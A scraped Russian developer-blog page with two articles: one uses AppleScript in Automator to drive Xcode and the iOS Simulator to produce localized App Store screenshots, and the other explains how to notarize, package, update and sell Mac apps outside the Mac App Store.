Нас интересует WorkFlow - создаем. Программа выдает окошко из двух частей. Слева Actions - различные действия над приложениями и системой. Справа сам WorkFlow. Перетаскиваем Действия в WorkFlow и можем запускать последовательность действий. Это графический построитель программы WorkFlow.

Программа дает много возможностей, но после того, как мы наигрались с возможностями графического построителя - мы поняли, что нам проще было бы просто писать код. Привычней. И Automator дает нам такую возможность. Очистим все из панели WorkFlow, и добавим одно действие - Run AppleScript.

Обратите внимание, в библиотеке действий, помимо Run AppleScript, есть еще очень интересные действия, такие как Run JavaScript или Run Shell Script. В одном WorkFlow может быть много действий, и можно запускать другие Workflow (Run WorkFlow).

Действие Run AppleScript можно запустить и само по себе, не включая выполнение всего потока. У такого действия есть своя кнопка запуска. Для нашей задачи мы и ограничимся одним таким действием. Всю магию будет делать AppleScript. Жмем на молоточек - и пишем код.

Реализация

Вооружившись документацией, но и не пренебрегая методом научного тыка, начнем.

Открываем наше проект приложения в XCode. Так как приложение многоязычное в проекте у нас несколько схем - по количеству языков. Также в Xcode есть возможность запустить приложение в симуляторе, причем в интерфейсе Xcode есть список устройств, эмулировать которые будет симулятор.

Создаем переменные и пишем руками какие устройства нам нужны в массив sizes.

set ipad to "iPad Pro (12.9-inch) (3rd generation)"set sizes to {"iPhone 8 Plus", "iPhone 11 Pro Max", ipad}А

А список схем в массив schemes

set schemes to {"TinyApp", "TinyApp-cn", "TinyApp-jp", "TinyApp-es", "TinyApp-de", "TinyApp-ru", "TinyApp-fr"}

И запускаем перебор по размерам и по языкам:

repeat with size in sizes    repeat with lang in schemes    -- .....repeat with size in sizesrepeat with lang in schemes 

Внутри цикла у нас есть доступ к переменой size, и lang.

Говорим приложению XCode выбрать схему и размер, согласно переменным цикла, и просим запустить Simulator:

        tell application "Xcode" to activate        tell application "System Events"            tell process "Xcode"                tell menu bar 1                    tell menu "Product"                        tell menu item "Scheme"                            tell menu "Scheme"                                click menu item lang                            end tell                        end tell                           tell menu item "Destination"                            tell menu "Destination"                                click menu item size                            end tell                        end tell                        click menu item "Run"                    end tell                end tell            end tell        end tell

И выводим диалог с кнопкой продолжить:

        tell application "System Events"            display dialog "Continue"        end tell

Нам необходимо подождать пока запустится симулятор, увидеть запущено приложение, и при первом запуске перевести его в нужное состояние руками (мышкой). и нажать в диалоге Continue. Так как наше приложение помнит состояние, то при последующих запусках состояние не меняется и мы просто жмем кнопку Continue.

Ну а дальше программа просит Симулятор сделать снимок экрана, который на десктоп.

        tell application "Automator" to activate        tell application "System Events"            tell process "Simulator"                tell menu bar 1                    tell menu "File"                        click menu item "Save Screen"                    end tell                end tell            end tell        end tell

Далее просим валовый менеджер переименовать файл как нам удобно:

        tell application "Finder"            set the source_folder to (path to desktop folder) as alias            sort (get files of source_folder) by creation date            set theFile to (item 1 of reverse of result) as alias            set newName to lang & "-" & size & " .png"            set name of theFile to newName        end tell

Если это снимок экрана для iPad то мы меняем ориентацию экрана и делаем еще снимок:

        if size as string is equal to ipad then            tell application "Automator" to activate            tell application "System Events"                tell process "Simulator"                    tell menu bar 1                                                tell menu "Hardware"                            tell menu item "Orientation"                                tell menu "Orientation"                                    click menu item "Landscape Right"                                end tell                            end tell                        end tell                                                delay 2                        tell menu "File"                            click menu item "New Screen Shot"                        end tell                                                tell application "Finder"                            set the source_folder to (path to desktop folder) as alias                            sort (get files of source_folder) by creation date                            set theFile to (item 1 of reverse of result) as alias                            set newName to lang & "-" & size & "-landscape" & " .png"                            set name of theFile to newName                        end tell                                                                        tell menu "Hardware"                            tell menu item "Orientation"                                tell menu "Orientation"                                    click menu item "Portrait"                                end tell                            end tell                        end tell                                            end tell                end tell            end tell        end if

Таким образом к концу выполнения программы у нас на десктопе создаются файлы снимков экрана для всхоже языков и для всех нужных устройств. В одном состоянии, которое мы выбрали при первом диалоге. Копируем руками файлы, можно начать делать второе состояние. Напомню - состояния это пять разных картинок в AppStore.

Мы конечно могли еще автоматизировать и копирование файлов, но мы на этом остановились.

Итог

Вместо того, чтобы руками сделать все 120 картинок руками примерно за час, мы научились пользоваться Automator, потратив на освоение программы и языка AppleScript часа три, и наш скрипт позволил генерировать 120 картинок за минуту с минимумом операций. Несмотря на большие затраты времени, мы были довольны. Надеюсь наш опыт может оказаться полезным и для других людей, и для других задач.

А вот и Код полностью:

on run {input, parameters}    set ipad to "iPad Pro (12.9-inch) (3rd generation)"    set sizes to {"iPhone 8 Plus", "iPhone 11 Pro Max", ipad}    set schemes to {"TinyApp", "TinyApp-cn", "TinyApp-jp", "TinyApp-es", "TinyApp-de", "TinyApp-ru", "TinyApp-fr"}    repeat with size in sizes        repeat with lang in schemes            tell application "Xcode" to activate            tell application "System Events"                tell process "Xcode"                    tell menu bar 1                        tell menu "Product"                                                        tell menu item "Scheme"                                tell menu "Scheme"                                    click menu item lang                                end tell                            end tell                                                        tell menu item "Destination"                                tell menu "Destination"                                    click menu item size                                end tell                            end tell                            click menu item "Run"                        end tell                    end tell                end tell            end tell                        tell application "System Events"                display dialog "Continue"            end tell                        tell application "Automator" to activate            tell application "System Events"                tell process "Simulator"                    tell menu bar 1                        tell menu "File"                            click menu item "Save Screen"                        end tell                    end tell                end tell            end tell                        tell application "Finder"                set the source_folder to (path to desktop folder) as alias                sort (get files of source_folder) by creation date                set theFile to (item 1 of reverse of result) as alias                set newName to lang & "-" & size & " .png"                set name of theFile to newName            end tell                                    --iPad            if size as string is equal to ipad then                                                tell application "Automator" to activate                tell application "System Events"                    tell process "Simulator"                        tell menu bar 1                                                        tell menu "Hardware"                                tell menu item "Orientation"                                    tell menu "Orientation"                                        click menu item "Landscape Right"                                    end tell                                end tell                            end tell                            delay 2                            tell menu "File"                                click menu item "New Screen Shot"                            end tell                                                        tell application "Finder"                                set the source_folder to (path to desktop folder) as alias                                sort (get files of source_folder) by creation date                                set theFile to (item 1 of reverse of result) as alias                                set newName to lang & "-" & size & "-landscape" & " .png"                                set name of theFile to newName                            end tell                                                                          tell menu "Hardware"                                tell menu item "Orientation"                                    tell menu "Orientation"                                        click menu item "Portrait"                                    end tell                                end tell                            end tell                                                    end tell                    end tell                end tell            end if                                end repeat    end repeat            return inputend run
Подробнее..

Recovery mode Наш Automator, управляем приложениями MacOS на AppleScript

19.03.2021 22:15:52 | Автор: admin

В один замечательный вечер мы с коллегой публиковали небольшое приложение в AppStore. Публикация приложения довольно-таки долгий процесс и состоит из множества этапов. Один из этапов - подготовка картинок для магазина приложений. Задача, на первый взгляд простая - запустить приложение в симуляторе и сделать снимок экрана приложения, а нужны экраны на шести языка, в нескольких размерах, с демонстрацией пяти разных состояния приложения. За часик можно было управиться просто делая снимки руками, при этом попивая кофе и обсуждая общие темы. Но мы же программисты и руками делать не наш метод. Надо автоматизировать процесс. Хоть мы и никогда такого не делали у нас получилось. Мы узнали как легко программно управлять приложениями MacOS. И написали AppleScript который управляет приложениями XCode и Simulator.

Постановка

Нужно сделать снимки экранов для публикации. Приложение на 6 языках, для iPhone и iPad. В магазине приложений пять слотов для снимков экрана - нам необходимо показать в этих слотах пять состояний приложения. Для разных устройств снимки экрана разные, в зависимости от разрешения. Для iPhone нужно два скриншота только вертикальных, а для iPad один, но в двух ориентациях.

Инструмент

Краткий поиск навел нас на Automator.

Запускаем.

Нас интересует WorkFlow - создаем. Программа выдает окошко из двух частей. Слева Actions - различные действия над приложениями и системой. Справа сам WorkFlow. Перетаскиваем Действия в WorkFlow и можем запускать последовательность действий. Это графический построитель программы WorkFlow.

Программа дает много возможностей, но после того, как мы наигрались с возможностями графического построителя - мы поняли, что нам проще было бы просто писать код. Привычней. И Automator дает нам такую возможность. Очистим все из панели WorkFlow, и добавим одно действие - Run AppleScript.

Обратите внимание, в библиотеке действий, помимо Run AppleScript, есть еще очень интересные действия, такие как Run JavaScript или Run Shell Script. В одном WorkFlow может быть много действий, и можно запускать другие Workflow (Run WorkFlow).

Действие Run AppleScript можно запустить и само по себе, не включая выполнение всего потока. У такого действия есть своя кнопка запуска. Для нашей задачи мы и ограничимся одним таким действием. Всю магию будет делать AppleScript. Жмем на молоточек - и пишем код.

Реализация

Вооружившись документацией, но и не пренебрегая методом научного тыка, начнем.

Открываем наше проект приложения в XCode. Так как приложение многоязычное в проекте у нас несколько схем - по количеству языков. Также в Xcode есть возможность запустить приложение в симуляторе, причем в интерфейсе Xcode есть список устройств, эмулировать которые будет симулятор.

Создаем переменные и пишем руками какие устройства нам нужны в массив sizes.

set ipad to "iPad Pro (12.9-inch) (3rd generation)"set sizes to {"iPhone 8 Plus", "iPhone 11 Pro Max", ipad}А

А список схем в массив schemes

set schemes to {"TinyApp", "TinyApp-cn", "TinyApp-jp", "TinyApp-es", "TinyApp-de", "TinyApp-ru", "TinyApp-fr"}

И запускаем перебор по размерам и по языкам:

repeat with size in sizes    repeat with lang in schemes    -- .....repeat with size in sizesrepeat with lang in schemes 

Внутри цикла у нас есть доступ к переменой size, и lang.

Говорим приложению XCode выбрать схему и размер, согласно переменным цикла, и просим запустить Simulator:

        tell application "Xcode" to activate        tell application "System Events"            tell process "Xcode"                tell menu bar 1                    tell menu "Product"                        tell menu item "Scheme"                            tell menu "Scheme"                                click menu item lang                            end tell                        end tell                           tell menu item "Destination"                            tell menu "Destination"                                click menu item size                            end tell                        end tell                        click menu item "Run"                    end tell                end tell            end tell        end tell

И выводим диалог с кнопкой продолжить:

        tell application "System Events"            display dialog "Continue"        end tell

Нам необходимо подождать пока запустится симулятор, увидеть запущено приложение, и при первом запуске перевести его в нужное состояние руками (мышкой) и нажать в диалоге Continue. Так как наше приложение помнит состояние, то при последующих запусках состояние не меняется и мы просто жмем кнопку Continue.

Ну а дальше программа просит Симулятор сделать снимок экрана, который на десктопе.

        tell application "Automator" to activate        tell application "System Events"            tell process "Simulator"                tell menu bar 1                    tell menu "File"                        click menu item "Save Screen"                    end tell                end tell            end tell        end tell

Далее просим файловый менеджер переименовать файл как нам удобно:

        tell application "Finder"            set the source_folder to (path to desktop folder) as alias            sort (get files of source_folder) by creation date            set theFile to (item 1 of reverse of result) as alias            set newName to lang & "-" & size & " .png"            set name of theFile to newName        end tell

Если это снимок экрана для iPad то мы меняем ориентацию экрана и делаем еще снимок:

        if size as string is equal to ipad then            tell application "Automator" to activate            tell application "System Events"                tell process "Simulator"                    tell menu bar 1                                                tell menu "Hardware"                            tell menu item "Orientation"                                tell menu "Orientation"                                    click menu item "Landscape Right"                                end tell                            end tell                        end tell                                                delay 2                        tell menu "File"                            click menu item "New Screen Shot"                        end tell                                                tell application "Finder"                            set the source_folder to (path to desktop folder) as alias                            sort (get files of source_folder) by creation date                            set theFile to (item 1 of reverse of result) as alias                            set newName to lang & "-" & size & "-landscape" & " .png"                            set name of theFile to newName                        end tell                                                                        tell menu "Hardware"                            tell menu item "Orientation"                                tell menu "Orientation"                                    click menu item "Portrait"                                end tell                            end tell                        end tell                                            end tell                end tell            end tell        end if

Таким образом к концу выполнения программы у нас на десктопе создаются файлы снимков экрана для всех языков и для всех нужных устройств. В одном состоянии, которое мы выбрали при первом диалоге. Копируем руками файлы, можно начать делать второе состояние. Напомню - состояния это пять разных картинок в AppStore.

Мы конечно могли еще автоматизировать и копирование файлов, но мы на этом остановились.

Итог

Вместо того, чтобы руками сделать все 120 картинок руками примерно за час, мы научились пользоваться Automator, потратив на освоение программы и языка AppleScript часа три, и наш скрипт позволил генерировать 120 картинок за минуту с минимумом операций. Несмотря на большие затраты времени, мы были довольны. Надеюсь наш опыт может оказаться полезным и для других людей, и для других задач.

А вот и Код полностью:

on run {input, parameters}    set ipad to "iPad Pro (12.9-inch) (3rd generation)"    set sizes to {"iPhone 8 Plus", "iPhone 11 Pro Max", ipad}    set schemes to {"TinyApp", "TinyApp-cn", "TinyApp-jp", "TinyApp-es", "TinyApp-de", "TinyApp-ru", "TinyApp-fr"}    repeat with size in sizes        repeat with lang in schemes            tell application "Xcode" to activate            tell application "System Events"                tell process "Xcode"                    tell menu bar 1                        tell menu "Product"                                                        tell menu item "Scheme"                                tell menu "Scheme"                                    click menu item lang                                end tell                            end tell                                                        tell menu item "Destination"                                tell menu "Destination"                                    click menu item size                                end tell                            end tell                            click menu item "Run"                        end tell                    end tell                end tell            end tell                        tell application "System Events"                display dialog "Continue"            end tell                        tell application "Automator" to activate            tell application "System Events"                tell process "Simulator"                    tell menu bar 1                        tell menu "File"                            click menu item "Save Screen"                        end tell                    end tell                end tell            end tell                        tell application "Finder"                set the source_folder to (path to desktop folder) as alias                sort (get files of source_folder) by creation date                set theFile to (item 1 of reverse of result) as alias                set newName to lang & "-" & size & " .png"                set name of theFile to newName            end tell                                    --iPad            if size as string is equal to ipad then                                                tell application "Automator" to activate                tell application "System Events"                    tell process "Simulator"                        tell menu bar 1                                                        tell menu "Hardware"                                tell menu item "Orientation"                                    tell menu "Orientation"                                        click menu item "Landscape Right"                                    end tell                                end tell                            end tell                            delay 2                            tell menu "File"                                click menu item "New Screen Shot"                            end tell                                                        tell application "Finder"                                set the source_folder to (path to desktop folder) as alias                                sort (get files of source_folder) by creation date                                set theFile to (item 1 of reverse of result) as alias                                set newName to lang & "-" & size & "-landscape" & " .png"                                set name of theFile to newName                            end tell                                                                          tell menu "Hardware"                                tell menu item "Orientation"                                    tell menu "Orientation"                                        click menu item "Portrait"                                    end tell                                end tell                            end tell                                                    end tell                    end tell                end tell            end if                                end repeat    end repeat            return inputend run
Подробнее..

Перевод Как продавать приложения для Mac за пределами App Store

26.01.2021 10:19:42 | Автор: admin


Mac всегда отличался от своего близкого родственника iOS, особенно в отношении того, что пользователю можно и нельзя запускать в своей системе. Даже после появления Apple Silicon компания Apple чётко дала понять, что Mac остаётся Mac, и его по-прежнему можно хакать, даже при запуске на новой архитектуре.

Для программистов это значит, что при разработке для платформы Mac у нас есть выбор: мы можем распространять приложения независимо, за пределами Mac App Store, только через Mac App Store или сочетать оба варианта.

Данная статья стала результатом моих размышлений на эту тему. Она задумывалась как руководство по аспектам, которые нужно знать при распространении приложений для Mac за пределами App Store, а не как подробное описание конкретных действий. Надеюсь, что представленная здесь информация поможет новичкам снять завесу тайны с этого процесса, а описание моего собственного процесса будет полезно в качестве опорной точки.

App Store и прямое распространение: плюсы и минусы


Все эти варианты имеют свои достоинства и недостатки. Начнём с того, что некоторые приложения для Mac просто невозможно будет распространять через Mac App Store. Примером этого может послужить моё приложение AirBuddy, которому для обеспечения глубокой интеграции с беспроводными устройствами Apple необходимо запускать системный агент и использовать приватные API, что в App Store запрещено. То же самое относится и ко многим другим видам приложений, которые просто не смогут работать в условиях ограничений песочницы Mac.

Для тех же, у кого выбор есть, я составил список плюсов и минусов выпуска в Mac App Store или независимого распространения.

Плюсы Mac App Store


  • Компания Apple занимается за вас распространением, продажей и лицензированием.
  • Большинству пользователей проще найти и установить приложение.
  • Есть вероятность попасть в рекомендации Apple и стать известным большему количеству покупателей.
  • Можно использовать такие функции, как вход с учётной записью Apple, недоступные для приложений, распространяемых вне Mac App Store

Минусы Mac App Store


  • Нужно платить Apple долю 15% или 30% от всех продаж. Это зависит от того, сколько заработали за год все ваши приложения.
  • Каждое обновление, даже самое мелкое, обязано пройти процесс App Review с вероятностью отказа по произвольным причинам.
  • Из-за строгих требований песочницы невозможно раскрыть весь потенциал macOS.
  • Невозможно выпускать платные обновления.

Плюсы прямого распространения


  • Можно выпускать обновления в любой момент без необходимости ожидания проверки и не боясь, что их отклонят
  • Раскрывается весь потенциал macOS с системными расширениями, демонами, выходом из песочницы, приватными API и многим другим.
  • Повышение процента продаж.
  • Реализация платных обновлений или других бизнес-моделей, недопустимых в App Store
  • Возможность жить без постоянного страха, что твоё приложение внезапно станет проблемой для Apple и появится угроза его удаления из App Store

Минусы прямого распространения


  • Нужно заниматься лицензированием, распространением и обновлениями (вы увидите, что это не так сложно)
  • Не так просто реализовывать расходные (consumable) и постоянные (non-consumable) покупки внутри приложения (нет StoreKit)
  • Нельзя использовать некоторые сервисы Apple, например, вход с учётной записью Apple (другие сервисы, например, CloudKit, работают нормально)

Примечание о Catalyst и SwiftUI


С появлением Catalyst стало появляться множество новых приложений для Mac, поскольку теперь намного проще взять готовое приложение для iPad и портировать его на Mac. Приложения, портированные на macOS через Catalyst, необязательно выпускать в App Store, даже если оригинал под iOS находится там.

Кроме того, на данный момент не существует TestFlight для macOS (одно из моих пожеланий на 2021 год), поэтому если вы хотите распространять бета-сборки приложения, созданного Catalyst, то это необходимо делать за пределами Mac App Store, и это не сильно отличается от распространения приложения в продакшене.

Многое из описанного в статье применимо и к Catalyst-приложениям в конце концов, это же приложения для Mac, однако части приложений потребуется дополнительный хакинг Apple препятствует использованию всех возможностей AppKit непосредственно из Catalyst-приложения. Однако немного потрудившись, можно заставить Catalyst-приложение использовать многие функции Mac, в том числе поддержку AppleScript и другие возможности.

При разработке SwiftUI-приложений для Mac в процессе распространения не должно быть серьёзных отличий, потому что в SwiftUI-приложении мы можем использовать все функции macOS API без хаков, требуемых для Catalyst-приложений.

Распространение


Распространение приложения состоит из двух аспектов: из самой загрузки, сохранения и скачивания двоичного файла приложения и его обновлений, а также из создания пакета, который будет работать у ваших пользователей.

Хостинг


Первым серьёзным шагом, позволяющим вашему приложению для Mac попасть в руки пользователей без App Store выбор способа распространения его двоичного файла. Отсутствие App Store означает, что вам придётся хостить двоичные файлы приложения и обновлений где-нибудь в Интернете, дав пользователям ссылку на скачивание.

Реализовать это можно множеством разных способов. Для приложения в open source можно использовать релизы на Github и даже хостить update feed приложения в репозитории Github. Именно так я распространяю приложение WWDC для macOS.

В случае коммерческих приложений я использовал Backblaze B2 для хранения двоичных файлов приложений, дельта-обновлений и update feed, проксируя все запросы через Cloudflare, чтобы у меня был собственный домен для скачивания/обновлений, а также чтобы при необходимости добавлять на сервер фильтрацию, кэширование и логику.

B2 чрезвычайно доступный провайдер (я редко плачу больше 1 доллара в месяц). Большинство приложений для Mac невелико по размерам, поэтому даже если ваше приложение активно скачивают, маловероятно, что вам придётся много платить за объём хранилища/трафик. Ещё одним популярным вариантом являются бакеты Amazon S3, но его панель управления повергает меня в ужас, поэтому я предпочитаю B2, который намного проще (и дешевле).

Пока я не автоматизировал этап публикации релизов своих приложений, поэтому для загрузки нового релиза я просто использую Transmit как клиент для моих бакетов B2. Кстати, прежде чем мы доберёмся до загрузки релиза на сервер, есть ещё один важный этап: получение нужного файла для загрузки.



На правах рекламы


Если вам нужен сервер в России для отладки или размещения проектов, то вам прекрасно подойдут наши эпичные серверы. Создание собственной конфигурации в пару кликов, посуточная тарификация серверов, антиDDoS уже в коробке, удобная панель управления. Лучше один раз попробовать!





Подтверждение и упаковка


При экспорте архивированного приложения из Xcode у нас есть два основных варианта распространения: App Store Connect и Developer ID. Для распространения приложений без App Store мы будем использовать Developer ID.

Ту же учётную запись разработчика, которую вы используете для распространения приложений через Mac App Store, можно использовать и для подписывания приложений при распространении приложений по Developer ID. Сам сертификат отличается, но Xcode автоматически сгенерирует и установит его, если вы ещё этого не сделали в процессе экспортирования архива.

С момента выпуска macOS Catalina все приложения, распространяемые напрямую среди пользователей должны проходить проверку Apple, в противном случае они по умолчанию не запустятся. Процесс проверки заключается в передаче приложения компании Apple, которая выполняет автоматизированный контроль зловредного ПО и штампует ваш двоичный файл специальной сигнатурой, позволяющей ему запускаться. Это не процедура App Review, а автоматизированная проверка, предотвращающая распространение таким способом зловредного ПО. Кроме того, она позволяет Apple пометить как зловред единственный двоичный файл, а не весь аккаунт разработчика на случай, если он когда-нибудь окажется скомпрометированным.

Возможность проверки двоичного файла непосредственно в Xcode organizer зависит от способа упаковки, выбранного для распространения приложения. Нельзя просто закачать папку .app на сервер и позволить пользователям её скачивать, её нужно превратить в неструктурированный файл. Проще всего это сделать, упаковав приложение в zip, и распространять его как файл zip, однако, по моему опыту, распространение приложения в виде файла DMG значительно снижает количество просьб о помощи со стороны пользователей.

Вероятно, вы уже видели DMG при загрузке файлов Mac. Это образы дисков, монтируемые macOS при двойном нажатии в Finder. Они также могут содержать графические инструкции о том, что нужно перетащить приложение в папку Applications. Это упрощает жизнь пользователю и снижает вероятность того, что этот пользователь запустит приложение из папки Downloads или другого произвольного места.

Если вы собираетесь распространять своё приложение в виде DMG, то вам достаточно просто экспортировать его, выбрав в Xcode опцию Developer ID без проверки (notarization), а затем выполнить проверку самого DMG. В Xcode нет опции экспорта в DMG, поэтому придётся воспользоваться сторонним инструментом. Мне нравится работать с create-dmg. Кроме того, я создал и распространяю в open source инструмент dmgdist, автоматизирующий процесс создания, загрузки и штампования DMG, что позволяет одной командой получить готовый к распространению образ.

Для распространения приложения в виде файла zip процесс подготовки проще: после выбора в Xcode Developer ID выберите опцию загрузки (upload). Будет создана проверенная версия приложения, которую затем можно будет упаковать в zip и распространять.

Обновления приложений


Ещё один аспект App Store заключается в том, что он занимается обновлениями приложений. Когда мы загружаем новую версию в App Store Connect и она проходит проверку, пользователям становится доступным обновление в App Store. Нам нужно каким-то образом воссоздать этот процесс для приложений, распространяемых напрямую.

Самый лучший (и популярный) способ использовать Sparkle. Он существует уже много лет и стал практически официальным способом распространения обновлений приложений для Mac, продаваемых вне Mac App Store.

Сейчас Sparkle как бы живёт двойной жизнью. Можно использовать или легаси-версию Sparkle, или более современную ветку v2, в которую включено множество улучшений, например, возможность обновлять используемые в песочнице приложения. Я по-прежнему пользуюсь легаси-версией, потому что она мне знакома, а интеграция более современной версии всё ещё кажется немного сложной. Не надо чинить то, что не сломано.

Процесс генерации обновления приложения обычно происходит следующим образом: проверяем, что с каждым обновлением версия приложения становится больше, создаём пакет в соответствии с описанным выше (Sparkle понимает zip, DMG и пакеты установщика), а затем используем инструмент generate_appcast для обновления feed. После этого загружаем дельты, пакет новой версии и обновлённый AppCast feed на выбранный хостинг, после чего пользователи увидят новую версию, проверив обновления внутри приложения.

Это может показаться сложным и определённо требует практики, но после настройки процесса он оказывается совершенно беспроблемным (на мой взгляд, гораздо лучше, чем работа с App Store Connect).

Зарабатываем деньги за пределами Mac App Store


Если вы хотите распространять своё приложение для Mac вне App Store, то есть вероятность, что в какой-то момент вы захотите зарабатывать на нём. Как и в App Store, можно использовать множество разных бизнес-моделей, но наиболее популярной при прямой продаже покупателям является старая добрая модель плати вперёд: пользователь платит за скачивание приложения, регистрирует его при помощи лицензионного ключа и получает обновления бесплатно, по крайней мере, в течение какого-то периода времени.

Ещё одна популярная бизнес-модель для приложений, распространяемых вне App Store это модель подписки, при которой пользователи ежемесячно или ежегодно платят какую-то сумму, чтобы продолжать использовать приложение. По выбору бизнес-модели можно написать целое руководство (или серию руководств), поэтому в этом я вам не помощник. В этом разделе я буду подразумевать, что используется модель плати вперёд, которую я выбрал для своих приложений.

Чтобы вам заплатили за ваш продукт, нужен какой-то магазин, в который приходят пользователи, узнают о приложении и покупают его (если повезёт). Хорошим вариантом для новичков является сайт Gumroad, предлагающий страницу магазина, обработку платежей, хостинг и лицензирование. Когда я выпустил первую версию AirBuddy в январе 2019 года, то использовал Gumroad, и он сослужил мне очень хорошую службу, продав в течение года десятки тысяч копий приложения.

Однако изначально Gumroad не проектировался для продажи ПО, поэтому ему не хватает гибкости, имеющейся у других сервисов. После выпуска моего нового приложения FusionCast и AirBuddy 2.0 я перешёл на Paddle, который теперь занимается обработкой платежей и лицензированием моих приложений.

Ещё один вариант просто использовать сервис платежей, что-нибудь типа Stripe или FastSpring, или же обрабатывать заказы и заниматься лицензированием самостоятельно. Таким образом вы получите оптимальную гибкость, хотя придётся больше работать и скорее всего понадобится платить за дополнительные сервисы (например, для отправки электронных писем).

Я бы сказал, что если вы стремитесь подзаработать, продавая приложения для Mac за пределами Mac App Store, то лучшим вариантом является Gumroad, поскольку этот сайт сделает за вас практически всё и вам даже не придётся создавать сайт для приложения. Однако если вы продаёте приложения как компания или это ваш основной источник дохода, то бОльшую гибкость обеспечит профессиональное решение, имеющее меньше ограничений, например, Paddle.

Лицензирование, защита от копирования и пиратство


Возможно, распространяя приложения Mac напрямую, вы озаботитесь пиратством: любой сможет взять двоичный файл вашего приложения и запустить его, не заплатив за лицензию, только если вы не задействуете какую-нибудь защиту от копирования.

Хоть это и так, я пришёл к выводу, что разработчикам, особенно инди, не стоит тратить любое существенное количество времени на создание защиты от копирования. Да, некоторые люди украдут вашу работу, но они в любом случае не заплатили бы, поэтому время, потраченное на беспокойство об этом или на встраивание в приложение сверхпродвинутой DRM это время, которое можно было бы потратить на устранение багов и разработку новых функций. Кроме того, подобные практики в конечном итоге чаще наказывают законных пользователей, чем препятствуют пиратству (достаточно взглянуть на множество примеров подобного из отрасли разработки игр).

В первой версии AirBuddy вообще не было никакой защиты от копирования, даже простейшей формы регистрации для ввода лицензионного ключа. Я нашёл в Интернете несколько спираченных копий (разумеется, некоторые из них были заражены), но не увидел признаков того, что приложение пиратит большой процент пользователей, и мои показатели тоже этого не отражают. В версии 2 я использую Paddle SDK для регистрации при установке приложения, но на этом всё.

Приложения, распространяемые через Mac App Store, тоже не имеют автоматической защиты от пиратства: необходимо вручную проверять чек App Store, чтобы убедиться в легальности копии. Большинство кодов верификации чеков тривиально взламывается, поэтому приложение, распространяемое через Mac App Store, защищено от пиратства не сильнее, чем приложение, распространяемое напрямую.

Маркетинг


Я добавил этот раздел в первую очередь для того, чтобы сказать: нет серьёзных различий в маркетинге при прямом распространении приложения для Mac и при распространении через Mac App Store. В наши дни простой выпуск приложения в App Store практически ничего не значит, потому что низка вероятность того, что пользователи просто органически обнаружат совершенно новое приложение без внешней информации.

При распространении через App Store можно пропустить этап создания веб-сайта, так как в качестве основной витрины можно использовать страницу в App Store, но даже в этом случае я считаю, что большинство приложений выиграет от наличия отдельной лэндинг-страницы.

Маркетинг приложений сам по себе может быть темой для ещё одного руководства, но в целом можно порекомендовать использовать любые доступные вам каналы, особенно если у вас уже есть подписчики (в Twitter, Instagram, TikTok и т.д.). Отправка своего приложения (с бесплатной лицензией) веб-сайтам и людям, занимающимся обзорами приложений для Mac, тоже может стать отличным способом повышения популярности. Также можно использовать платную рекламу в социальных сетях, подкастах и изданиях.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru